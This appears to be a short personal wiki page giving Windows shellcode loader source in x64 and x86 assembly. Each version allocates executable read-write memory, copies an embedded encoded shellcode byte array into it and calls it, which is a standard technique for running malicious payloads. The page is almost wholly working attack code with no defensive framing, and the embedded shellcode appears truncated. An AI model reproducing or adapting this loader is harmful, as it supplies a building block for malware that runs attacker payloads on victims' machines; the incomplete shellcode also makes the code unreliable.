[ASM] Windows shellcode loader

Shellcode loader

x64 bits

```
extrn VirtualAlloc :PROC
extrn GetCurrentProcess :PROC
extrn WriteProcessMemory :PROC

.data
    shellcode DB 48h,31h,0c9h,48h,81h,0e9h,0feh,0ffh,0ffh,0ffh,48h,8dh,05h
    DB 0efh,0ffh,0ffh,0ffh,48h,0bbh,7dh,5dh,14h,08h,0adh,48h,33h
    DB 0cfh,48h,31h,58h,27h,48h,2dh,0f8h,0ffh,0ffh,0ffh,0e2h,0f4h
    DB 0edh,0cdh,84h,98h,3dh,0d8h,0a3h,5fh,0edh,0cdh,84h,98h,0adh
    DB 48h,33h,0cfh
    shellcode_end DB 0
    shellcode_len DQ ?
    hProcess DQ ?
    baseAddr DQ ?

.code
Start PROC
    SUB rsp, 28h

    XOR rcx, rcx
    MOV rdx, 100h
    MOV r8, 1000h
    MOV r9, 40h
    CALL VirtualAlloc
    MOV baseAddr, rax
```

```
    CALL GetCurrentProcess
    MOV hProcess, rax

    MOV rcx, hProcess
    MOV rdx, baseAddr
    LEA rax, shellcode
    LEA rbx, shellcode_end
    SUB rbx, rax
    MOV shellcode_len, rbx
    LEA r8, shellcode
    MOV r9, shellcode_len
    SUB rsp, 40
    MOV qword ptr [rsp+32], 0
    CALL WriteProcessMemory
    ADD rsp, 40

    CALL baseAddr

Start ENDP
END
```

x32 bits

```
.model flat, stdcall

VirtualAlloc PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD
GetCurrentProcess PROTO STDCALL
WriteProcessMemory PROTO STDCALL :DWORD, :DWORD, :DWORD, :DWORD, :DWORD

.data
    shellcode DB 0b8h,0eeh,17h,0ddh,0c1h,0d9h,0c5h,0d9h,74h,24h,0f4h,5eh,29h
    DB 0c9h,0b1h,04h,83h,0c6h,04h,31h,46h,0eh,03h,0a8h,19h,3fh
    DB 34h,0a4h,0b6h,2fh,27h,54h,26h,0dfh,0d8h,0c4h,0d7h,70h,48h
    DB 48h,33h,0cfh
    shellcode_end DB 0
    hProcess DD ?
    baseAddr DD ?

.code
```

```
Start PROC
    PUSH 40h
    PUSH 1000h
    PUSH 100h
    PUSH 0
    CALL VirtualAlloc
    MOV baseAddr, eax

    CALL GetCurrentProcess
    MOV hProcess, eax

    PUSH 0
    PUSH SIZEOF shellcode
    PUSH OFFSET shellcode
    PUSH baseAddr
    PUSH hProcess
    CALL WriteProcessMemory

    CALL baseAddr

Start ENDP
END
```

Revision #2
Created 1 April 2025 12:12:18 by Elieroc
Updated 1 April 2025 12:30:03 by Elieroc